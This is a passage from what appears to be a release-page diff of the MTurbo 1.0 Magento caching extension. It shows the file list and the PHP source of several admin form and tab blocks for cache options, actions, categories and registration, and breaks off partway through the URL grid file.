MTurbo - Version 1.0

Version Notes

Visit product homepage at:
http://www.artio.net/magento-extensions/m-turbo-accelerator

Download this release

Release Info

Developer Magento Core Team
Extension MTurbo
Version 1.0
Comparing to
See all releases


Version 1.0

Files changed (46) hide show
  1. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Form.php +51 -0
  2. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Abstract.php +102 -0
  3. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Actions.php +93 -0
  4. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Category.php +71 -0
  5. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/License.php +125 -0
  6. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Main.php +138 -0
  7. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Product.php +40 -0
  8. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Url.php +251 -0
  9. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tabs.php +63 -0
  10. app/code/local/Artio/MTurbo/Block/Adminhtml/Mturbo.php +64 -0
  11. app/code/local/Artio/MTurbo/Block/Adminhtml/Run.php +296 -0
  12. app/code/local/Artio/MTurbo/Block/Adminhtml/Welcome.php +57 -0
  13. app/code/local/Artio/MTurbo/Block/Adminhtml/Welcome/Form.php +105 -0
  14. app/code/local/Artio/MTurbo/Block/Data/Form/Element/Button.php +71 -0
  15. app/code/local/Artio/MTurbo/Block/Data/Form/Element/CategoryTree.php +89 -0
  16. app/code/local/Artio/MTurbo/Block/Data/Form/Element/NoEscLabel.php +51 -0
  17. app/code/local/Artio/MTurbo/Block/Data/Form/Element/Time.php +84 -0
  18. app/code/local/Artio/MTurbo/Block/Data/Grid/Column/Blocked.php +59 -0
  19. app/code/local/Artio/MTurbo/Helper/Checker.php +87 -0
  20. app/code/local/Artio/MTurbo/Helper/Data.php +163 -0
  21. app/code/local/Artio/MTurbo/Helper/Downloader.php +113 -0
  22. app/code/local/Artio/MTurbo/Helper/Info.php +121 -0
  23. app/code/local/Artio/MTurbo/Model/Config.php +595 -0
  24. app/code/local/Artio/MTurbo/Model/File.php +255 -0
  25. app/code/local/Artio/MTurbo/Model/Mturbo.php +357 -0
  26. app/code/local/Artio/MTurbo/Model/Mysql4/Mturbo.php +33 -0
  27. app/code/local/Artio/MTurbo/Model/Mysql4/Mturbo/Collection.php +33 -0
  28. app/code/local/Artio/MTurbo/Model/Observer.php +156 -0
  29. app/code/local/Artio/MTurbo/Model/Observer2.php +225 -0
  30. app/code/local/Artio/MTurbo/Model/htaccess/htaccess.txt +32 -0
  31. app/code/local/Artio/MTurbo/Model/htaccess/htaccessroot.txt +2 -0
  32. app/code/local/Artio/MTurbo/Model/scripts/wgetlib.so +1 -0
  33. app/code/local/Artio/MTurbo/Model/scripts/wgettrans.so +1 -0
  34. app/code/local/Artio/MTurbo/controllers/Adminhtml/CheckController.php +47 -0
  35. app/code/local/Artio/MTurbo/controllers/Adminhtml/MturboController.php +415 -0
  36. app/code/local/Artio/MTurbo/controllers/AdminhtmlController.php +64 -0
  37. app/code/local/Artio/MTurbo/etc/config.xml +181 -0
  38. app/code/local/Artio/MTurbo/sql/mturbo_setup/mysql4-install-0.1.0.php +76 -0
  39. app/design/adminhtml/default/default/layout/mturbo.xml +39 -0
  40. app/design/adminhtml/default/default/template/mturbo/demo.phtml +44 -0
  41. app/design/adminhtml/default/default/template/mturbo/massaction.phtml +80 -0
  42. app/design/adminhtml/default/default/template/mturbo/preview/tree.phtml +227 -0
  43. app/design/adminhtml/default/default/template/mturbo/tabs.phtml +45 -0
  44. app/etc/modules/Artio_MTurbo.xml +9 -0
  45. app/locale/en_US/Artio_MTurbo.csv +112 -0
  46. package.xml +22 -0
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Form.php ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+
28
+ /**
29
+ * Adminhtml cms block edit form
30
+ *
31
+ * @category Artio
32
+ * @package Artio_MTurbo
33
+ * @author Artio <info@artio.net>
34
+ */
35
+ class Artio_MTurbo_Block_Adminhtml_Edit_Form extends Mage_Adminhtml_Block_Widget_Form
36
+ {
37
+
38
+ protected function _prepareForm() {
39
+ $form = new Varien_Data_Form(array('name'=>'edit_form', 'id' => 'edit_form', 'action' => $this->getData('action'), 'method' => 'post'));
40
+ $form->setUseContainer(true);
41
+
42
+ $form->addField('activeTab', 'hidden', array(
43
+ 'name' => 'activeTab',
44
+ 'id' => 'activeTab',
45
+ 'value' => ''
46
+ ));
47
+
48
+ $this->setForm($form);
49
+ return parent::_prepareForm();
50
+ }
51
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Abstract.php ADDED
@@ -0,0 +1,102 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ *
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ * @author Artio Magento Team <info@artio.net>
33
+ */
34
+
35
+ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
36
+ extends Mage_Adminhtml_Block_Widget_Form
37
+ implements Mage_Adminhtml_Block_Widget_Tab_Interface
38
+ {
39
+
40
+ /**
41
+ * @var Artio_MTurbo_Helper_Data
42
+ */
43
+ private static $helper = null;
44
+
45
+ /**
46
+ * @var string
47
+ */
48
+ protected $_title;
49
+
50
+ public function __construct() {
51
+ parent::__construct();
52
+ if (empty(self::$helper)) self::$helper = Mage::helper('mturbo');
53
+ }
54
+
55
+ /**
56
+ * @return Artio_MTurbo_Helper_Data
57
+ */
58
+ public static function getMyHelper() {
59
+ return self::$helper;
60
+ }
61
+
62
+ /**
63
+ * Prepare label for tab
64
+ *
65
+ * @return string
66
+ */
67
+ public function getTabLabel()
68
+ {
69
+ return $this->_title;
70
+ }
71
+
72
+ /**
73
+ * Prepare title for tab
74
+ *
75
+ * @return string
76
+ */
77
+ public function getTabTitle()
78
+ {
79
+ return $this->_title;
80
+ }
81
+
82
+ /**
83
+ * Returns status flag about this tab can be shown or not
84
+ *
85
+ * @return true
86
+ */
87
+ public function canShowTab()
88
+ {
89
+ return true;
90
+ }
91
+
92
+ /**
93
+ * Returns status flag about this tab hidden or not
94
+ *
95
+ * @return true
96
+ */
97
+ public function isHidden()
98
+ {
99
+ return false;
100
+ }
101
+
102
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Actions.php ADDED
@@ -0,0 +1,93 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Actions extends Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
27
+ {
28
+
29
+ /**
30
+ * @var Varien_Data_Form
31
+ */
32
+ private $form;
33
+
34
+ public function __construct() {
35
+ parent::__construct();
36
+ $this->setId('action_section');
37
+ $this->_title = $this->getMyHelper()->__('Actions');
38
+ }
39
+
40
+ protected function _prepareForm() {
41
+
42
+ $config = Mage::getSingleton('mturbo/config');
43
+
44
+ $this->form = new Varien_Data_Form();
45
+ $this->_addActionFieldset();
46
+
47
+ $this->form->setValues($config->getData());
48
+ $this->setForm($this->form);
49
+
50
+ return parent::_prepareForm();
51
+
52
+ }
53
+
54
+ private function _addActionFieldset() {
55
+
56
+ $layoutFieldset = $this->form->addFieldset('action_fieldset', array(
57
+ 'legend' => $this->getMyHelper()->__('Cache actions'),
58
+ 'class' => 'fieldset'
59
+ ));
60
+
61
+ $layoutFieldset->addType('widget_button', Artio_MTurbo_Helper_Data::FORM_WIDGET_BUTTON);
62
+ $layoutFieldset->addField('clear_button', 'widget_button', array(
63
+ 'name' => 'clear_button',
64
+ 'label' => $this->getMyHelper()->__('Remove all cached pages'),
65
+ 'onclick' => "setLocation('" . Mage::helper('adminhtml')->getUrl('*/*/clearpages') . "')",
66
+ 'comment' => $this->getMyHelper()->__('Purge all cached pages and relevant directories located on the disk. No caching will be done until cache is recreated.')
67
+ ));
68
+
69
+ $layoutFieldset->addField('syn_button', 'widget_button', array(
70
+ 'name' => 'syn_button',
71
+ 'label' => $this->getMyHelper()->__('Update URLs from Rewrite Table'),
72
+ 'onclick' => "setLocation('" . Mage::helper('adminhtml')->getUrl('*/*/synchronize') . "')",
73
+ 'comment' => $this->getMyHelper()->__('Launchng this action will update cached URLs based on current values from the Rewrite Table. We recommend runing this action after major modifications to the products or categories.')
74
+ ));
75
+
76
+ $layoutFieldset->addField('generate_button', 'widget_button', array(
77
+ 'name' => 'generate_button',
78
+ 'label' => $this->getMyHelper()->__('Generate list of rewrite URLs to the file'),
79
+ 'onclick' => "setLocation('" . Mage::helper('adminhtml')->getUrl('*/*/generateurllist') . "')",
80
+ 'comment' => $this->getMyHelper()->__(' Generate a list of the URLs and store it on the disk. This action will be executed if Automatic cache management is enabled.')
81
+ ));
82
+
83
+ $layoutFieldset->addField('download_button', 'widget_button', array(
84
+ 'name' => 'download_button',
85
+ 'label' => $this->getMyHelper()->__('Cache all pages'),
86
+ 'onclick' => "window.open('" . Mage::helper('adminhtml')->getUrl('*/*/download') . "')",
87
+ 'comment' => $this->getMyHelper()->__('Create cache for all pages (except blocked pages). Download progress can be monitored in a separate window. Please, do not close this window. Update of URLs from the Rewrite Table will be started automatically before caching is executed. Please, note that initial cache creation may take a long time (several hours). Time needed depends on the number of pages your site has.')
88
+
89
+ ));
90
+
91
+ }
92
+
93
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Category.php ADDED
@@ -0,0 +1,71 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ *
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ * @author Artio Magento Team <info@artio.net>
33
+ */
34
+
35
+ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Category extends Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
36
+ {
37
+
38
+ public function __construct() {
39
+ parent::__construct();
40
+ $this->setId('category_section');
41
+ $this->_title = $this->getMyHelper()->__('Categories');
42
+ }
43
+
44
+ protected function _prepareForm() {
45
+
46
+ $config = Mage::getSingleton('mturbo/config');
47
+ $config->loadAttributes();
48
+
49
+ $form = new Varien_Data_Form();
50
+
51
+ $layoutFieldset = $form->addFieldset('categories_fieldset', array(
52
+ 'legend' => $this->getMyHelper()->__( 'Select categories, where to cache list pages' ),
53
+ 'class' => 'fieldset'
54
+ ));
55
+
56
+ $layoutFieldset->addType('categories_tree', Artio_MTurbo_Helper_Data::FORM_CATEGORY_TREE);
57
+ $layoutFieldset->addField('categories', 'categories_tree', array(
58
+ 'name' => 'category_chooser',
59
+ 'treeId' => 'category_chooser',
60
+ 'categoryIds' => $config->getPreviewCategoryIds(),
61
+ 'updateElementId' => 'preview_categories',
62
+ 'formName' => 'edit_form'
63
+ ));
64
+
65
+
66
+ $this->setForm($form);
67
+
68
+ return parent::_prepareForm();
69
+ }
70
+
71
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/License.php ADDED
@@ -0,0 +1,125 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_License extends Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
27
+ {
28
+
29
+ /**
30
+ * @var Varien_Data_Form
31
+ */
32
+ private $form;
33
+ private $regInfo;
34
+
35
+ public function __construct() {
36
+ parent::__construct();
37
+ $this->setId('license_section');
38
+ $this->_title = $this->getMyHelper()->__('Registration');
39
+ $this->regInfo = Mage::helper('mturbo/info')->getRegInfo();
40
+ }
41
+
42
+ protected function _prepareForm() {
43
+
44
+ $config = Mage::getSingleton('mturbo/config');
45
+ if (!empty($this->regInfo)) {
46
+ $data = array_merge($config->getData(), get_object_vars($this->regInfo));
47
+ }
48
+
49
+ $this->form = new Varien_Data_Form();
50
+ $this->_addLicenseFieldset();
51
+
52
+ $this->form->setValues($data);
53
+ $this->setForm($this->form);
54
+
55
+ return parent::_prepareForm();
56
+
57
+ }
58
+
59
+ private function _addLicenseFieldset() {
60
+
61
+ $layoutFieldset = $this->form->addFieldset('license_fieldset', array(
62
+ 'legend' => $this->getMyHelper()->__('Registration'),
63
+ 'class' => 'fieldset'
64
+ ));
65
+ $layoutFieldset->addType('noesclabel', Artio_MTurbo_Helper_Data::FORM_NO_ESC_LABEL);
66
+
67
+ $layoutFieldset->addField('licenseid', 'text', array(
68
+ 'name' => 'licenseid',
69
+ 'label' => $this->getMyHelper()->__('Your Download ID').':',
70
+ 'value' => ''
71
+ ));
72
+
73
+
74
+ if ($this->regInfo != null) {
75
+
76
+ if (!empty($this->regInfo->name))
77
+ $layoutFieldset->addField('name', 'label', array(
78
+ 'name' => 'name',
79
+ 'label' => $this->getMyHelper()->__('Name').':',
80
+ 'style' => 'height:24em;',
81
+ 'disabled' => true,
82
+ ));
83
+
84
+ if (!empty($this->regInfo->company))
85
+ $layoutFieldset->addField('company', 'label', array(
86
+ 'name' => 'company',
87
+ 'label' => $this->getMyHelper()->__('Company').':',
88
+ 'style' => 'height:24em;',
89
+ 'disabled' => true,
90
+ ));
91
+
92
+ if (!empty($this->regInfo->date))
93
+ $layoutFieldset->addField('date', 'label', array(
94
+ 'name' => 'date',
95
+ 'label' => $this->getMyHelper()->__('Date').':',
96
+ 'style' => 'height:24em;',
97
+ 'disabled' => true,
98
+ 'value' => 'x'
99
+ ));
100
+
101
+ if (!empty($this->regInfo->message)) {
102
+ $layoutFieldset->addField('message', 'noesclabel', array(
103
+ 'name' => 'message',
104
+ 'label' => $this->getMyHelper()->__('Status').':',
105
+ 'bold' => true,
106
+ 'disabled' => true
107
+ ));
108
+ }
109
+
110
+ } else {
111
+
112
+ $layoutFieldset->addField('message', 'noesclabel', array(
113
+ 'name' => 'message',
114
+ 'label' => $this->getMyHelper()->__('Status').':',
115
+ 'style' => 'height:24em;',
116
+ 'bold' => true,
117
+ 'disabled' => true,
118
+ ));
119
+
120
+ }
121
+
122
+ }
123
+
124
+
125
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Main.php ADDED
@@ -0,0 +1,138 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Main extends Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
27
+ {
28
+
29
+ /**
30
+ * @var Varien_Data_Form
31
+ */
32
+ private $form;
33
+
34
+ public function __construct() {
35
+ parent::__construct();
36
+ $this->setId('main_section');
37
+ $this->_title = $this->getMyHelper()->__('Options');
38
+ }
39
+
40
+ protected function _prepareForm() {
41
+
42
+ $config = Mage::getSingleton('mturbo/config');
43
+
44
+ $this->form = new Varien_Data_Form();
45
+ $this->_addGeneralFieldset();
46
+ $this->_addHomepageFieldset();
47
+ //$this->_addAutomaticDownloadFieldset();
48
+
49
+ $this->form->setValues($config->getData());
50
+ $this->setForm($this->form);
51
+
52
+ return parent::_prepareForm();
53
+
54
+ }
55
+
56
+ private function _addGeneralFieldset() {
57
+
58
+ $layoutFieldset = $this->form->addFieldset('general_fieldset', array(
59
+ 'legend' => $this->getMyHelper()->__('General Options'),
60
+ 'class' => 'fieldset'
61
+ ));
62
+
63
+ $layoutFieldset->addField('turbopath', 'text', array(
64
+ 'name' => 'turbopath',
65
+ 'label' => $this->getMyHelper()->__('Cache Path').':',
66
+ 'value' => 'var/turbocache'
67
+ ));
68
+
69
+ $layoutFieldset->addField('multistoreview', 'select', array(
70
+ 'name' => 'multistoreview',
71
+ 'label' => $this->getMyHelper()->__('Enable multi-storeview').':',
72
+ 'options' => array(
73
+ 0 => $this->getMyHelper()->__('No'),
74
+ 1 => $this->getMyHelper()->__('Yes'))
75
+ ));
76
+
77
+ $layoutFieldset->addField('refreshsave', 'select', array(
78
+ 'name' => 'refreshsave',
79
+ 'label' => $this->getMyHelper()->__('Refresh cache after product or category save').':',
80
+ 'options' => array(
81
+ 0 => $this->getMyHelper()->__('No'),
82
+ 1 => $this->getMyHelper()->__('Yes'))
83
+ ));
84
+
85
+ }
86
+
87
+ private function _addAutomaticDownloadFieldset() {
88
+
89
+ $layoutFieldset = $this->form->addFieldset('download_fieldset', array(
90
+ 'legend' => $this->getMyHelper()->__('Automatic cache management'),
91
+ 'class' => 'fieldset'
92
+ ));
93
+
94
+ $layoutFieldset->addField('automaticdownload', 'select', array(
95
+ 'name' => 'automaticdownload',
96
+ 'label' => $this->getMyHelper()->__('Enable automatic cache refresh').':',
97
+ 'options' => array(
98
+ 0 => $this->getMyHelper()->__('No'),
99
+ 1 => $this->getMyHelper()->__('Yes'))
100
+ ));
101
+
102
+ $layoutFieldset->addType('crontime', Artio_MTurbo_Helper_Data::FORM_CRON_HOUR_TIME);
103
+ $layoutFieldset->addField('downloadtime', 'crontime', array(
104
+ 'name' => 'downloadtime',
105
+ 'label' => $this->getMyHelper()->__('Download time').':',
106
+ 'style' => 'display:inline;width:40px;'
107
+ ));
108
+
109
+ $layoutFieldset->addField('lastdownload', 'label', array(
110
+ 'name' => 'lastdownload',
111
+ 'label' => $this->getMyHelper()->__('Last downlaod').':',
112
+ 'style' => 'height:24em;',
113
+ 'disabled' => true
114
+ ));
115
+
116
+
117
+
118
+ }
119
+
120
+
121
+ private function _addHomepageFieldset() {
122
+
123
+ $layoutFieldset = $this->form->addFieldset('homepage_fieldset', array(
124
+ 'legend' => $this->getMyHelper()->__('Homepage Cache Options'),
125
+ 'class' => 'fieldset'
126
+ ));
127
+
128
+ $layoutFieldset->addField('homepage', 'select', array(
129
+ 'name' => 'homepage',
130
+ 'label' => $this->getMyHelper()->__('Cache homepage').':',
131
+ 'options' => array(
132
+ 0 => $this->getMyHelper()->__('No'),
133
+ 1 => $this->getMyHelper()->__('Yes'))
134
+ ));
135
+
136
+ }
137
+
138
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Product.php ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2009 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ *
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ * @author Magento Core Team <core@magentocommerce.com>
33
+ */
34
+
35
+ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Product
36
+ extends Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
37
+ {
38
+
39
+
40
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Url.php ADDED
@@ -0,0 +1,251 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2009 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ *
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ * @author Magento Core Team <core@magentocommerce.com>
33
+ */
34
+
35
+ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
36
+ extends Mage_Adminhtml_Block_Widget_Grid
37
+ implements Mage_Adminhtml_Block_Widget_Tab_Interface
38
+ {
39
+ public function __construct()
40
+ {
41
+ parent::__construct();
42
+ $this->setId('url_section');
43
+ $this->setDefaultSort('mturbo_id');
44
+ $this->setDefaultDir('ASC');
45
+ $this->setSaveParametersInSession(true);
46
+ }
47
+
48
+ protected function _prepareCollection() {
49
+
50
+ $collection = Mage::getModel('mturbo/mturbo')->getCollection();
51
+ $this->setCollection($collection);
52
+
53
